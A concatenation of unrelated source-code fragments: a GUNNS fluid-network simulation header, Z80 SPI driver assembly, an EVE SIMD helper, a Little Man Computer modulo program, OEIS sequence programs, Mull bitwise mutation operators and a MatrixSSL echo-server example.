double array[sizeof(DrawFluidExtras_reactorCompoundsMasses)/sizeof(double)];
DrawFluidExtras_reactorCompoundsTotalMasses(
const double iCH4,
const double iO2,
const double iCO2,
const double iH2,
const double iH2O);
};
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief DrawFluidExtras_sockets Jumper Plug definitions
///
/// @details Defines a jumper plug class for a socket list in this network.
////////////////////////////////////////////////////////////////////////////////////////////////////
class DrawFluidExtras_sockets : public GunnsFluidJumperPlug
{
TS_MAKE_SIM_COMPATIBLE(DrawFluidExtras_sockets);
public:
/// @brief Enumeration of the socket options for this plug.
enum socketsEnum {
socket1 = 0,
socket2 = 1,
NONE = 2
};
socketsEnum mActiveConnection; /**< *o (--) trick_chkpnt_io(*io) Currently connected socket */
socketsEnum mLastDisconnection; /**< *o (--) trick_chkpnt_io(*io) Socket last disconnected from */
socketsEnum mConnectionRequest; /**< (--) trick_chkpnt_io(**) Connect to socket command */
socketsEnum mDisconnectionRequest; /**< (--) trick_chkpnt_io(**) Disconnect form socket command */
/// @brief Default constructs this jumper plug.
DrawFluidExtras_sockets(const std::string name)
:
GunnsFluidJumperPlug(name, static_cast <int> (NONE)),
mActiveConnection (NONE),
mLastDisconnection (NONE),
mConnectionRequest (NONE),
mDisconnectionRequest(NONE) {}
/// @brief Default desctructs this jumper plug.
virtual ~DrawFluidExtras_sockets() {}
/// @brief Sets the active connection of this plug to the given socket index.
/// @param[in] index (--) Index to the socket list enumeration.
virtual void setActiveConnection (const int index) {mActiveConnection = static_cast <socketsEnum> (index);}
/// @brief Sets the last disconnected socket of this plug to the given socket index.
/// @param[in] index (--) Index to the socket list enumeration.
virtual void setLastDisconnection (const int index) {mLastDisconnection = static_cast <socketsEnum> (index);}
/// @brief Sets the command to connected to the given socket index.
/// @param[in] index (--) Index to the socket list enumeration.
virtual void setConnectionRequest (const int index) {mConnectionRequest = static_cast <socketsEnum> (index);}
/// @brief Sets the command to disconnect to the given socket index.
/// @param[in] index (--) Index to the socket list enumeration.
virtual void setDisconnectionRequest(const int index) {mDisconnectionRequest = static_cast <socketsEnum> (index);}
/// @brief Returns the index of the currently connected socket.
/// @return int (--) Index to the socket list enumeration.
virtual int getActiveConnection() {return static_cast <int> (mActiveConnection);}
/// @brief Returns the index of the socket last disconnected from.
/// @return int (--) Index to the socket list enumeration.
virtual int getLastDisconnection() {return static_cast <int> (mLastDisconnection);}
/// @brief Returns the index of the socket the plug is commanded to connect to.
/// @return int (--) Index to the socket list enumeration.
virtual int getConnectionRequest() {return static_cast <int> (mConnectionRequest);}
/// @brief Returns the index of the socket the plug is commanded to disconnect from.
/// @return int (--) Index to the socket list enumeration.
virtual int getDisconnectionRequest() {return static_cast <int> (mDisconnectionRequest);}
/// @brief Returns the index of no socket, the last index in the list.
/// @return int (--) Index to the socket list enumeration.
virtual int getNoConnection() {return static_cast <int> (NONE);}
};
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief DrawFluidExtras GUNNS Network Config Data
///
/// @details Configuration data class for the DrawFluidExtras Network.
////////////////////////////////////////////////////////////////////////////////////////////////////
class DrawFluidExtrasConfigData
{
public:
/// @brief Enumeration of the number of internal constituent fluids in this network.
enum {N_INTERNAL_FLUIDS = 6};
/// @brief Number of trace compounds in this trace compounds config.
enum {N_NETTCCONFIG = 2};
/// @brief Number of chemical reactions taking place in this chemical reactor.
enum {N_REACTORREACTIONS = 2};
/// @brief Number of chemical compounds in this chemical reactor.
enum {N_REACTORCOMPOUNDS = 5};
// Network fluid configurations
static FluidProperties::FluidType netInternalFluidTypes[DrawFluidExtrasConfigData::N_INTERNAL_FLUIDS]; /**< (--) trick_chkpnt_io(**) Network internal fluid types array. */
// Trace compounds data
static ChemicalCompound::Type netTcConfigTypes[DrawFluidExtrasConfigData::N_NETTCCONFIG]; /**< (--) trick_chkpnt_io(**) netTcConfig chemical compounds list. */
GunnsFluidTraceCompoundsConfigData netTcConfig; /**< (--) trick_chkpnt_io(**) netTcConfig config data. */
// Chemical reactions properties
DefinedChemicalReactions netReactions; /**< (--) trick_chkpnt_io(**) Network defined chemical reactions */
// Chemical compounds properties
DefinedChemicalCompounds netCompounds; /**< (--) trick_chkpnt_io(**) Network defined chemical compounds */
static ChemicalReaction::Type reactorReactions[DrawFluidExtrasConfigData::N_REACTORREACTIONS]; /**< (--) trick_chkpnt_io(**) reactorReactions chemical reactions list. */
static ChemicalCompound::Type reactorCompounds[DrawFluidExtrasConfigData::N_REACTORCOMPOUNDS]; /**< (--) trick_chkpnt_io(**) reactorCompounds chemical compounds list. */
// Solver configuration data
GunnsConfigData netSolver; /**< (--) trick_chkpnt_io(**) Network solver config data. */
// Spotters configuration data
GunnsFluidVolumeMonitorConfigData tankVolumeMonitor; /**< (--) trick_chkpnt_io(**) tankVolumeMonitor config data. */
// Links configuration data
GunnsFluidPotentialConfigData ambient; /**< (--) trick_chkpnt_io(**) ambient config data. */
GunnsFluidCapacitorConfigData tank; /**< (--) trick_chkpnt_io(**) tank config data. */
GunnsFluidReactorConfigData reactor; /**< (--) trick_chkpnt_io(**) reactor config data. */
GunnsFluidSocketConfigData socket1; /**< (--) trick_chkpnt_io(**) socket1 config data. */
GunnsFluidSocketConfigData socket2; /**< (--) trick_chkpnt_io(**) socket2 config data. */
GunnsFluidMetabolic4ConfigData crew; /**< (--) trick_chkpnt_io(**) crew config data. */
GunnsFluidJumperConfigData jumper; /**< (--) trick_chkpnt_io(**) jumper config data. */
/// @brief Default constructs this network configuration data.
DrawFluidExtrasConfigData(const std::string& name, DrawFluidExtras* network);
/// @brief Default destructs this network configuration data.
virtual ~DrawFluidExtrasConfigData();
private:
/// @details Copy constructor unavailable since declared private and not implemented.
DrawFluidExtrasConfigData(const DrawFluidExtrasConfigData&);
/// @details Assignment operator unavailable since declared private and not implemented.
DrawFluidExtrasConfigData& operator =(const DrawFluidExtrasConfigData&);
};
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief DrawFluidExtras GUNNS Network Input Data
///
/// @details Input data class for the DrawFluidExtras Network.
////////////////////////////////////////////////////////////////////////////////////////////////////
class DrawFluidExtrasInputData
{
public:
// Trace compounds states
DrawFluidExtras_netTcConfigState tcDefaultValues; /**< (--) trick_chkpnt_io(**) tcDefault state values. */
GunnsFluidTraceCompoundsInputData tcDefault; /**< (--) trick_chkpnt_io(**) tcDefault input data. */
DrawFluidExtras_netTcConfigState tcAirValues; /**< (--) trick_chkpnt_io(**) tcAir state values. */
GunnsFluidTraceCompoundsInputData tcAir; /**< (--) trick_chkpnt_io(**) tcAir input data. */
// Internal network fluids
DrawFluidExtrasMassFractions fluidDefaultFractions; /**< (--) trick_chkpnt_io(**) Fluid mass fractions. */
PolyFluidInputData fluidDefault; /**< (--) trick_chkpnt_io(**) Fluid input data. */
DrawFluidExtrasMassFractions fluidAirFractions; /**< (--) trick_chkpnt_io(**) Fluid mass fractions. */
PolyFluidInputData fluidAir; /**< (--) trick_chkpnt_io(**) Fluid input data. */
// Chemical compounds
DrawFluidExtras_reactorCompoundsTotalMasses reactorCompoundsMasses; /**< (--) trick_chkpnt_io(**) reactorCompounds chemical compounds mass array. */
// Spotters input data
GunnsFluidVolumeMonitorInputData tankVolumeMonitor; /**< (--) trick_chkpnt_io(**) tankVolumeMonitor input data. */
// Links input data
GunnsFluidPotentialInputData ambient; /**< (--) trick_chkpnt_io(**) ambient input data. */
GunnsFluidCapacitorInputData tank; /**< (--) trick_chkpnt_io(**) tank input data. */
GunnsFluidReactorInputData reactor; /**< (--) trick_chkpnt_io(**) reactor input data. */
GunnsFluidSocketInputData socket1; /**< (--) trick_chkpnt_io(**) socket1 input data. */
GunnsFluidSocketInputData socket2; /**< (--) trick_chkpnt_io(**) socket2 input data. */
GunnsFluidMetabolic4InputData crew; /**< (--) trick_chkpnt_io(**) crew input data. */
GunnsFluidJumperInputData jumper; /**< (--) trick_chkpnt_io(**) jumper input data. */
/// @brief Default constructs this network input data.
DrawFluidExtrasInputData(DrawFluidExtras* network);
/// @brief Default destructs this network input data.
virtual ~DrawFluidExtrasInputData();
private:
/// @details Copy constructor unavailable since declared private and not implemented.
DrawFluidExtrasInputData(const DrawFluidExtrasInputData&);
/// @details Assignment operator unavailable since declared private and not implemented.
DrawFluidExtrasInputData& operator =(const DrawFluidExtrasInputData&);
};
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief DrawFluidExtras GUNNS Network
///
/// @details Main class for the DrawFluidExtras Network.
////////////////////////////////////////////////////////////////////////////////////////////////////
class DrawFluidExtras : public GunnsNetworkBase
{
TS_MAKE_SIM_COMPATIBLE(DrawFluidExtras);
public:
/// @brief Enumeration of the DrawFluidExtras Network nodes.
enum Nodes
{
Node0 = 0, ///< Node 0
Node1 = 1, ///< Node 1
Node2 = 2, ///< Node 2
Node3 = 3, ///< Node 3
GROUND = 4, ///< Ground Node
N_NODES = 5 ///< Number of nodes including Ground
};
// Network declarations
GunnsFluidNode netNodes[DrawFluidExtras::N_NODES]; /**< (--) Network nodes array. */
DrawFluidExtrasConfigData netConfig; /**< (--) trick_chkpnt_io(**) Network config data. */
DrawFluidExtrasInputData netInput; /**< (--) trick_chkpnt_io(**) Network input data. */
const DefinedFluidProperties netFluidProperties; /**< (--) trick_chkpnt_io(**) Network defined fluid properties. */
PolyFluidConfigData netInternalFluidConfig; /**< (--) trick_chkpnt_io(**) Network internal fluid config. */
// Data Tables
// Spotters
GunnsFluidVolumeMonitor tankVolumeMonitor; /**< (--) tankVolumeMonitor instance. */
// Jumper Plugs
DrawFluidExtras_sockets jumperPlug1; /**< (--) jumperPlug1 instance. */
// Links
GunnsFluidPotential ambient; /**< (--) ambient instance. */
GunnsFluidCapacitor tank; /**< (--) tank instance. */
GunnsFluidReactor reactor; /**< (--) reactor instance. */
GunnsFluidSocket socket1; /**< (--) socket1 instance. */
GunnsFluidSocket socket2; /**< (--) socket2 instance. */
GunnsFluidMetabolic4 crew; /**< (--) crew instance. */
GunnsFluidJumper jumper; /**< (--) jumper instance. */
/// @brief Default constructs this network.
DrawFluidExtras(const std::string& name = "");
/// @brief Default destructs this network.
virtual ~DrawFluidExtras();
/// @brief Network nodes initialization task.
virtual void initNodes(const std::string& name);
/// @brief Network links & spotters initialization task.
virtual void initNetwork();
/// @brief Update network spotters before the solver solution.
virtual void stepSpottersPre(const double timeStep);
/// @brief Update network spotters after the solver solution.
virtual void stepSpottersPost(const double timeStep);
/// @brief Returns this network's fluid configuration.
virtual const PolyFluidConfigData* getFluidConfig() const;
private:
/// @details Copy constructor unavailable since declared private and not implemented.
DrawFluidExtras(const DrawFluidExtras&);
/// @details Assignment operator unavailable since declared private and not implemented.
DrawFluidExtras& operator =(const DrawFluidExtras&);
};
/// @}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @returns PolyFluidConfigData* (--) Pointer to this network's fluid configuration.
///
/// @details Returns this network's fluid configuration.
////////////////////////////////////////////////////////////////////////////////////////////////////
inline const PolyFluidConfigData* DrawFluidExtras::getFluidConfig() const
{
return &netInternalFluidConfig;
}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @param[in] iGUNNS_N2 (--) Mass fraction of the GUNNS_N2 constituent in the composite fluid.
/// @param[in] iGUNNS_O2 (--) Mass fraction of the GUNNS_O2 constituent in the composite fluid.
/// @param[in] iGUNNS_H2O (--) Mass fraction of the GUNNS_H2O constituent in the composite fluid.
/// @param[in] iGUNNS_CO2 (--) Mass fraction of the GUNNS_CO2 constituent in the composite fluid.
/// @param[in] iGUNNS_CH4 (--) Mass fraction of the GUNNS_CH4 constituent in the composite fluid.
/// @param[in] iGUNNS_H2 (--) Mass fraction of the GUNNS_H2 constituent in the composite fluid.
///
/// @details Constructs the mass fraction union from the scalar mass fraction arguments.
////////////////////////////////////////////////////////////////////////////////////////////////////
inline DrawFluidExtrasMassFractions::DrawFluidExtrasMassFractions (
const double iGUNNS_N2,
const double iGUNNS_O2,
const double iGUNNS_H2O,
const double iGUNNS_CO2,
const double iGUNNS_CH4,
const double iGUNNS_H2)
{
scalar.GUNNS_N2 = iGUNNS_N2;
scalar.GUNNS_O2 = iGUNNS_O2;
scalar.GUNNS_H2O = iGUNNS_H2O;
scalar.GUNNS_CO2 = iGUNNS_CO2;
scalar.GUNNS_CH4 = iGUNNS_CH4;
scalar.GUNNS_H2 = iGUNNS_H2;
}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @param[in] iCH4 (--) Mass of the CH4 compound in the reactor.
/// @param[in] iO2 (--) Mass of the O2 compound in the reactor.
/// @param[in] iCO2 (--) Mass of the CO2 compound in the reactor.
/// @param[in] iH2 (--) Mass of the H2 compound in the reactor.
/// @param[in] iH2O (--) Mass of the H2O compound in the reactor.
///
/// @details Constructs the total masses union from the scalar reactor mass arguments.
////////////////////////////////////////////////////////////////////////////////////////////////////
inline DrawFluidExtras_reactorCompoundsTotalMasses::DrawFluidExtras_reactorCompoundsTotalMasses(
const double iCH4,
const double iO2,
const double iCO2,
const double iH2,
const double iH2O)
{
scalar.CH4= iCH4;
scalar.O2= iO2;
scalar.CO2= iCO2;
scalar.H2= iH2;
scalar.H2O= iH2O;
}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @param[in] iNH3 (--) Value of the NH3 trace compound state.
/// @param[in] iCO (--) Value of the CO trace compound state.
///
/// @details Constructs the trace compounds state union from the scalar value arguments.
////////////////////////////////////////////////////////////////////////////////////////////////////
inline DrawFluidExtras_netTcConfigState::DrawFluidExtras_netTcConfigState(
const double iNH3,
const double iCO)
{
scalar.NH3 = iNH3;
scalar.CO = iCO;
}
#endif
|
;---------------------------------------------------------------
; Serial Peripheral Interface module
;
; The Serial Peripheral Interface (SPI) is a de-facto standard
; four-wire interface used to communicate with peripheral
; devices. This module supports SPI mode 0 (CPOL=0, CPHA=0).
;
; The sdata and sdata signals are connected to bit D7 of the GPIO
; interface. The SCLK signal is connected to bit D6 (output only).
;
; SPI peripherals are selected by writing an address to a 3-bit
; register addressed as the spi_addr_port (see ports.asm). Bits
; D1..D0 of the address are used to select one of four
; peripheral devices. Bit D7 is used as an inhibit bit. If this
; bit is set in the address value, no SPI peripheral device
; will have its chip select (CS) input asserted. This allows
; the GPIO pins used for sdata and SCLK to be used for other
; purposes without inadvertently signalling an SPI device.
;
; See spi_defs.asm for SPI peripheral address assignments
;---------------------------------------------------------------
.name spi
.extern gpout
.include memory.asm
.include ports.asm
cs .equ $08
sclk .equ $40
sdata .equ $80
.cseg
;---------------------------------------------------------------
; Exchanges an 8-bit value with a peripheral via SPI.
; Bits are sent in most-significant-bit-first order.
;
; On entry:
; C = SPI peripheral address
; E = 8-bit value to transmit to peripheral
;
; On return:
; E = 8-bit value received from peripheral
; AF destroyed
;
spi8::
push bc
; Pull SDATA and SCLK low before chip select.
; This allows peripherals that automatically choose SPI mode
; to determine the clock polarity.
ld a,(gpout)
and low ~(sdata|sclk)
out (gpio_port),a
; Select the specified SPI peripheral by address
ld b,c ; preserve peripheral address
ld c,a ; preserve GPIO output bit mask
ld a,b ; recover peripheral address
or cs ; set chip select bit
out (spi_addr_port),a ; select SPI peripheral
; Will transmit and receive 8 bits
ld b,8
spi8_10:
; get next transmit bit into carry
rl e
; send and receive one bit
rra ; get bit to send from carry
and sdata ; sdata = bit to send, others zero
or c ; mask in GPIO bits other than SCLK
out (gpio_port),a ; sdata = output bit, SCLK = low
or sclk
out (gpio_port),a ; sdata = output bit, SCLK = high
in a,(gpio_port) ; read MISO
rla ; carry bit = MISO
ld a,c
out (gpio_port),a ; SCLK = low, other GPIO bits unchanged
djnz spi8_10
; rotate in last received bit
rl e
; Deselect SPI peripheral
xor a
out (spi_addr_port),a
; Restore all GPIO outputs
ld a,(gpout)
out (gpio_port),a
pop bc
ret
;---------------------------------------------------------------
; Exchanges a 16-bit value with a peripheral via SPI.
; Bits are sent in most-significant-bit-first order.
;
; On entry:
; C = SPI peripheral address
; DE = 16-bit value to transmit to peripheral
;
; On return:
; DE = 16-bit value received from peripheral
; AF destroyed
spi16::
push bc
; Pull SDATA and SCLK low before chip select.
; This allows peripherals that automatically choose SPI mode
; to determine the clock polarity
ld a,(gpout)
and low ~(sdata|sclk)
out (gpio_port),a
; Select the specified SPI peripheral by address
ld b,c ; preserve peripheral address
ld c,a ; preserve GPIO output bit mask
ld a,b ; recover peripheral address
or cs ; set chip select bit
out (spi_addr_port),a ; select SPI peripheral
; Will transmit and receive 16 bits
ld b,16
spi16_10:
; get next transmit bit into carry
rl e
rl d
; send and receive one bit
rra ; get bit to send from carry
and sdata ; sdata = bit to send, others zero
or c ; mask in GPIO bits other than SCLK
out (gpio_port),a ; sdata = output bit, SCLK = low
or sclk
out (gpio_port),a ; sdata = output bit, SCLK = high
in a,(gpio_port) ; read MISO
rla ; carry bit = MISO
ld a,c
out (gpio_port),a ; SCLK = low, other GPIO bits unchanged
djnz spi16_10
; rotate in last received bit
rl e
rl d
; Delect SPI peripheral
xor a
out (spi_addr_port),a
; Restore all GPIO outputs
ld a,(gpout)
out (gpio_port),a
pop bc
ret
;---------------------------------------------------------------
; Exchanges a block of 8-bit values with a peripheral via SPI.
; Bits are set in most signficant bit first order.
;
; On entry:
; B = number of bytes to exchange (1..256)
; C = SPI peripheral address
; HL = pointer to 8-bit values to transmit
;
; On return:
; HL = entry HL + B
; [HL-B..HL] = received 8-bit values
; AF destroyed
;
spi8x::
push bc
push de
; Pull sdata and SCLK low before chip select.
; This allows peripherals that automatically choose SPI mode
; to determine the clock polarity.
ld a,(gpout)
and low ~(sdata|sclk)
out (gpio_port),a
; Select the specified SPI peripheral by address
ld d,c ; preserve peripheral address
ld c,a ; preserve GPIO output bit mask
ld a,d ; recover peripheral address
or cs ; set chip select bit
out (spi_addr_port),a ; select SPI peripheral
spi8x_10:
ld d,b ; preserve number of bytes
ld b,8 ; transmit and receive 8 bits
spi8x_20:
; get next transmit bit into carry
rl (hl)
; send and receive one bit
rra ; get bit to send from carry
and sdata ; sdata = bit to send, others zero
or c ; mask in GPIO bits other than SCLK
out (gpio_port),a ; sdata = output bit, SCLK = low
or sclk
out (gpio_port),a ; sdata = output bit, SCLK = high
in a,(gpio_port) ; read MISO
rla ; carry bit = MISO
ld a,c
out (gpio_port),a ; SCLK = low, other GPIO bits unchanged
djnz spi8x_20
; rotate in last received bit
rl (hl)
inc hl
ld b,d ; recover byte count
djnz spi8x_10
; Deselect SPI peripheral
xor a
out (spi_addr_port),a
; Restore all GPIO outputs
ld a,(gpout)
out (gpio_port),a
pop de
pop bc
ret
.end
|
//==================================================================================================
/**
EVE - Expressive Vector Engine
Copyright : EVE Contributors & Maintainers
SPDX-License-Identifier: MIT
**/
//==================================================================================================
#pragma once
#include <eve/detail/meta.hpp>
#include <eve/detail/abi.hpp>
#include <eve/detail/function/bit_cast.hpp>
#include <eve/pattern.hpp>
namespace eve::detail
{
//----------------------------------------------------------------------------------------------
// Handle Zeroing
template<typename Pack, typename Pattern>
EVE_FORCEINLINE auto process_zeros( Pack const& v, Pattern p ) noexcept
{
constexpr auto sz = cardinal_v<Pack>;
using type = typename Pack::value_type;
if constexpr( p.has_zeros() )
{
// Turn pattern into 0/~0 then mask
auto const impl = [=](auto... i)
{
using i_t = as_integer_t<type,unsigned>;
constexpr i_t nz = ~i_t(0), zz = i_t(0);
return Pack(bit_cast((p(i,sz) == na_ ? zz : nz),as_<type>())...);
};
return v & apply<sz>(impl);
}
else
{
return v;
}
}
//----------------------------------------------------------------------------------------------
// Pattern to Index wide conversion
template<simd_value Wide, shuffle_pattern Pattern>
EVE_FORCEINLINE auto as_indexes(Pattern const&)
{
using i_t = as_integer_t<Wide>;
using c_t = cardinal_t<Wide>;
return []<std::size_t... I>(std::index_sequence<I...>)
{
Pattern q;
return i_t{q(I,c_t::value)...};
}(std::make_index_sequence<c_t::value>{});
}
//----------------------------------------------------------------------------------------------
// Index to bytes conversion
template<typename Pack, typename Shuffler, std::size_t... I>
EVE_FORCEINLINE constexpr auto as_bytes_impl(Shuffler p, std::index_sequence<I...> const &)
{
constexpr auto sz = Shuffler::size();
constexpr auto b = sizeof(typename Pack::value_type);
return values< (p(I/b,sz) == na_ ? 0xFF : p(I/b,sz)*b+I%b)... >{};
}
template<typename Pack, typename Shuffler, typename Bytes>
EVE_FORCEINLINE constexpr auto as_bytes(Shuffler p, as_<Bytes> const&) noexcept
{
constexpr auto bytes = as_bytes_impl<Pack>(p, std::make_index_sequence<Bytes::size()>{});
return apply( [](auto... v) { return Bytes{ std::uint8_t(v)... }; }, bytes);
}
}
|
// Write a program that calculates a % b (a mod b) for positive inputs a and b
INP
STA a
INP
STA b
LDA a
BRA mod
mod SUB b
BRP mod
ADD b
OUT
HLT
a DAT
b DAT
|
; A133821: Triangle whose rows are sequences of increasing fourth powers: 1; 1,16; 1,16,81; ... .
; 1,1,16,1,16,81,1,16,81,256,1,16,81,256,625,1,16,81,256,625,1296,1,16,81,256,625,1296,2401,1,16,81,256,625,1296,2401,4096,1,16,81,256,625,1296,2401,4096,6561,1,16,81,256,625,1296,2401,4096,6561,10000,1,16,81,256,625,1296,2401,4096,6561,10000,14641,1,16,81,256,625,1296,2401,4096,6561,10000,14641,20736,1,16,81,256,625,1296,2401,4096,6561,10000,14641,20736,28561,1,16,81,256,625,1296,2401,4096,6561
seq $0,25682 ; Exponent of 9 (value of j) in n-th number of form 8^i*9^j.
mov $1,1
add $1,$0
pow $1,4
mov $0,$1
|
; A170589: Number of reduced words of length n in Coxeter group on 4 generators S_i with relations (S_i)^2 = (S_i S_j)^48 = I.
; 1,4,12,36,108,324,972,2916,8748,26244,78732,236196,708588,2125764,6377292,19131876,57395628,172186884,516560652,1549681956,4649045868,13947137604,41841412812,125524238436,376572715308,1129718145924
mov $1,3
pow $1,$0
mul $1,8
div $1,6
mov $0,$1
|
SECTION code_fp_dai32
PUBLIC ___dai32_xfix
EXTERN xfix
defc ___dai32_xfix = xfix
|
; A267609: Decimal representation of the n-th iteration of the "Rule 182" elementary cellular automaton starting with a single ON (black) cell.
; Submitted by Jamie Morken(s2)
; 1,7,21,127,381,1911,5461,32767,98301,491511,1408981,8355711,25001341,125269879,357913941,2147483647,6442450941,32212254711,92341796821,547608330111,1638530022781,8209829984119,23456963876181,140735340838911,422201727483901,2111025817550839,6051529460383701,35887507618889599,107379944056520061,538030035483195255,1537228672809129301,9223372036854775807,27670116110564327421,138350580552821637111,396604997584755359701,2351959869397967830911,7037432864120193940861,35260951296895807911799
add $0,1
mul $0,2
seq $0,219843 ; Rows of A219463 seen as numbers in binary representation.
div $0,2
|
#include "mull/Mutators/CXX/BitwiseMutators.h"
using namespace mull;
using namespace mull::cxx;
#pragma mark - Shifts
static std::vector<std::unique_ptr<irm::IRMutation>> getLLShiftToLRShift() {
std::vector<std::unique_ptr<irm::IRMutation>> mutators;
mutators.emplace_back(new irm::ShlToLShr());
return mutators;
}
const std::string LShiftToRShift::ID = "cxx_lshift_to_rshift";
LShiftToRShift::LShiftToRShift()
: TrivialCXXMutator(std::move(getLLShiftToLRShift()), MutatorKind::CXX_LShiftToRShift,
LShiftToRShift::ID, "Replaces << with >>", ">>", "Replaced << with >>") {}
const std::string LShiftAssignToRShiftAssign::ID = "cxx_lshift_assign_to_rshift_assign";
LShiftAssignToRShiftAssign::LShiftAssignToRShiftAssign()
: TrivialCXXMutator(std::move(getLLShiftToLRShift()),
MutatorKind::CXX_LShiftAssignToRShiftAssign, LShiftAssignToRShiftAssign::ID,
"Replaces <<= with >>=", ">>=", "Replaced <<= with >>=") {}
static std::vector<std::unique_ptr<irm::IRMutation>> getRShiftToLShift() {
std::vector<std::unique_ptr<irm::IRMutation>> mutators;
mutators.emplace_back(new irm::LShrToShl());
mutators.emplace_back(new irm::AShrToShl());
return mutators;
}
const std::string RShiftToLShift::ID = "cxx_rshift_to_lshift";
RShiftToLShift::RShiftToLShift()
: TrivialCXXMutator(std::move(getRShiftToLShift()), MutatorKind::CXX_RShiftToLShift,
RShiftToLShift::ID, "Replaces << with >>", ">>", "Replaced >> with <<") {}
const std::string RShiftAssignToLShiftAssign::ID = "cxx_bitwise_rshift_assign_to_lshift_assign";
RShiftAssignToLShiftAssign::RShiftAssignToLShiftAssign()
: TrivialCXXMutator(std::move(getRShiftToLShift()), MutatorKind::CXX_RShiftAssignToLShiftAssign,
RShiftAssignToLShiftAssign::ID,
"Replaces >>= with <<=", "<<=", "Replaced >>= with <<=") {}
#pragma mark - Bit operations
static std::vector<std::unique_ptr<irm::IRMutation>> getOrToAnd() {
std::vector<std::unique_ptr<irm::IRMutation>> mutators;
mutators.emplace_back(new irm::OrToAnd());
return mutators;
}
const std::string BitwiseOrToAnd::ID = "cxx_or_to_and";
BitwiseOrToAnd::BitwiseOrToAnd()
: TrivialCXXMutator(std::move(getOrToAnd()), MutatorKind::CXX_Bitwise_OrToAnd,
BitwiseOrToAnd::ID, "Replaces | with &", "&", "Replaced | with &") {}
const std::string OrAssignToAndAssign::ID = "cxx_or_assign_to_and_assign";
OrAssignToAndAssign::OrAssignToAndAssign()
: TrivialCXXMutator(std::move(getOrToAnd()), MutatorKind::CXX_Bitwise_OrAssignToAndAssign,
OrAssignToAndAssign::ID,
"Replaces |= with &=", "&=", "Replaced |= with &=") {}
static std::vector<std::unique_ptr<irm::IRMutation>> getAndToOr() {
std::vector<std::unique_ptr<irm::IRMutation>> mutators;
mutators.emplace_back(new irm::AndToOr());
return mutators;
}
const std::string BitwiseAndToOr::ID = "cxx_and_to_or";
BitwiseAndToOr::BitwiseAndToOr()
: TrivialCXXMutator(std::move(getAndToOr()), MutatorKind::CXX_Bitwise_AndToOr,
BitwiseAndToOr::ID, "Replaces & with |", "|", "Replaced & with |") {}
const std::string AndAssignToOrAssign::ID = "cxx_and_assign_to_or_assign";
AndAssignToOrAssign::AndAssignToOrAssign()
: TrivialCXXMutator(std::move(getAndToOr()), MutatorKind::CXX_Bitwise_AndAssignToOrAssign,
AndAssignToOrAssign::ID,
"Replaces &= with |=", "|=", "Replaced &= with |=") {}
static std::vector<std::unique_ptr<irm::IRMutation>> getXorToOr() {
std::vector<std::unique_ptr<irm::IRMutation>> mutators;
mutators.emplace_back(new irm::XorToOr());
return mutators;
}
const std::string XorToOr::ID = "cxx_xor_to_or";
XorToOr::XorToOr()
: TrivialCXXMutator(std::move(getXorToOr()), MutatorKind::CXX_Bitwise_XorToOr, XorToOr::ID,
"Replaces ^ with |", "|", "Replaced ^ with |") {}
const std::string XorAssignToOrAssign::ID = "cxx_xor_assign_to_or_assign";
XorAssignToOrAssign::XorAssignToOrAssign()
: TrivialCXXMutator(std::move(getXorToOr()), MutatorKind::CXX_Bitwise_XorAssignToOrAssign,
XorAssignToOrAssign::ID,
"Replaces ^= with |=", "|=", "Replaced ^= with |=") {} |
; A033192: a(n) = binomial(Fibonacci(n) + 1, 2).
; 0,1,1,3,6,15,36,91,231,595,1540,4005,10440,27261,71253,186355,487578,1276003,3339820,8742471,22885995,59912931,156848616,410626153,1075018896,2814412825,7368190921,19290113571,50502074766,132215989335,346145696820,906220783315,2372516138895,6211326801331,16261462918828,42573059776845,111457712887128,291800073181653,763942497430365,2000027404179091,5236139690949090
mov $3,1
lpb $0,1
sub $0,1
mov $1,$3
add $1,1
trn $2,1
add $2,$3
mov $3,$2
mov $2,$1
lpe
bin $1,2
add $1,5
mul $1,2
sub $1,10
div $1,2
|
/*
* Copyright 2007 Stephen Liu
* For license terms, see the file COPYING along with this library.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <signal.h>
#include <unistd.h>
#include "spmsgdecoder.hpp"
#include "spbuffer.hpp"
#include "spserver.hpp"
#include "sphandler.hpp"
#include "spresponse.hpp"
#include "sprequest.hpp"
#include "spmatrixssl.hpp"
#include "sputils.hpp"
class SP_EchoHandler : public SP_Handler {
public:
SP_EchoHandler(){}
virtual ~SP_EchoHandler(){}
// return -1 : terminate session, 0 : continue
virtual int start( SP_Request * request, SP_Response * response ) {
request->setMsgDecoder( new SP_MultiLineMsgDecoder() );
response->getReply()->getMsg()->append(
"Welcome to line echo server, enter 'quit' to quit.\r\n" );
return 0;
}
// return -1 : terminate session, 0 : continue
virtual int handle( SP_Request * request, SP_Response * response ) {
SP_MultiLineMsgDecoder * decoder = (SP_MultiLineMsgDecoder*)request->getMsgDecoder();
SP_CircleQueue * queue = decoder->getQueue();
int ret = 0;
for( ; NULL != queue->top(); ) {
char * line = (char*)queue->pop();
if( 0 != strcasecmp( line, "quit" ) ) {
response->getReply()->getMsg()->append( line );
response->getReply()->getMsg()->append( "\r\n" );
} else {
response->getReply()->getMsg()->append( "Byebye\r\n" );
ret = -1;
}
free( line );
}
return ret;
}
virtual void error( SP_Response * response ) {}
virtual void timeout( SP_Response * response ) {}
virtual void close() {}
};
class SP_EchoHandlerFactory : public SP_HandlerFactory {
public:
SP_EchoHandlerFactory() {}
virtual ~SP_EchoHandlerFactory() {}
virtual SP_Handler * create() const {
return new SP_EchoHandler();
}
};
//---------------------------------------------------------
int main( int argc, char * argv[] )
{
#ifdef LOG_PERROR
openlog( "testechos", LOG_CONS | LOG_PID | LOG_PERROR, LOG_USER );
#else
openlog( "testechos", LOG_CONS | LOG_PID, LOG_USER );
#endif
int port = 1995;
SP_Server server( "", port, new SP_EchoHandlerFactory() );
SP_MatrixsslChannelFactory * matrixsslFactory = new SP_MatrixsslChannelFactory();
matrixsslFactory->init( "demo.crt", "demo.key" );
server.setIOChannelFactory( matrixsslFactory );
server.runForever();
return 0;
}
|
; A151670: G.f.: Product_{k>=0} (1 + 2*x^(5^k)).
; Submitted by Jon Maiga
